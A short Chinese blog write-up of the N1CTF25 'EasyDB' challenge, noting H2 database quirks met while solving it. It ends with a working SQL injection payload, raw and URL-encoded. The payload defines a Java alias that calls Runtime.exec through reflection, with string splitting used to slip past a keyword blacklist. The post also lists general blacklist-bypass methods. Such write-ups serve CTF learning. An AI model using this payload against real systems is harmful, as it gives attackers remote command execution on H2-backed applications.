N1CTF25-EasyDB
1diot9 Lv3

记录一下踩坑

1、executeQuery 可以执行 create

一开始以为executeQuery 不能执行create 操作。但是后来发现是可以的,只需要在前面加一个select 语句就行。

1
select 1;CREATE ALIAS RT AS 。。。。

2、SQL语句中,单引号和双引号的意义不一样

最后CALL RT(‘calc’);时,一开始用的是双引号,但是双引号会报错:Column “calc” not found; SQL statement:

CALL RT(“calc”);

这是因为在 H2 SQL 中,字符串字面量通常使用单引号(’)来包围。双引号(”)在 SQL 中通常用于标识标识符,如表名、列名等。因此,当你在 CALL RT(“calc”) 中使用双引号时,SQL 解释器会将其解释为一个标识符(例如列名),而不是字符串字面量,从而导致错误。

其他数据库也有这种特性,之后要注意。

3、h2sql 的注释符只有 –

一开始用的是#,一直报错。后面查了一下发现没有 #。这点跟mysql 不一样。

这里主要考察的其实是黑名单绕过,用的是Java的字符串拼接。一开始想到其他编码方式绕过,其实不用这么麻烦。以后应该先考虑这种拼接绕过。

总结一下,基于字符串的过滤,可以通过:拼接,编码,运算(异或、取反)等方法绕过。

最终post参数:

1
aa';CREATE ALIAS RT AS $$ void rt(String cmd) throws java.lang.Exception {java.lang.Class<?> run = java.lang.Class.forName("java.lang.Run" + "time");java.lang.reflect.Method getr = run.getMethod("getRun"+"time");java.lang.reflect.Method ex = run.getMethod("exe" + "c", String.class);ex.invoke(getr.invoke(null), "calc");}$$;CALL RT('calc');--
1
username=aa%27%3BCREATE%20ALIAS%20RT%20AS%20%24%24%20void%20rt%28String%20cmd%29%20throws%20java.lang.Exception%20%7Bjava.lang.Class%3C%3F%3E%20run%20%3D%20java.lang.Class.forName%28%22java.lang.Run%22%20%2B%20%22time%22%29%3Bjava.lang.reflect.Method%20getr%20%3D%20run.getMethod%28%22getRun%22%2B%22time%22%29%3Bjava.lang.reflect.Method%20ex%20%3D%20run.getMethod%28%22exe%22%20%2B%20%22c%22%2C%20String.class%29%3Bex.invoke%28getr.invoke%28null%29%2C%20%22calc%22%29%3B%7D%24%24%3BCALL%20RT%28%27calc%27%29%3B--&password=123
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量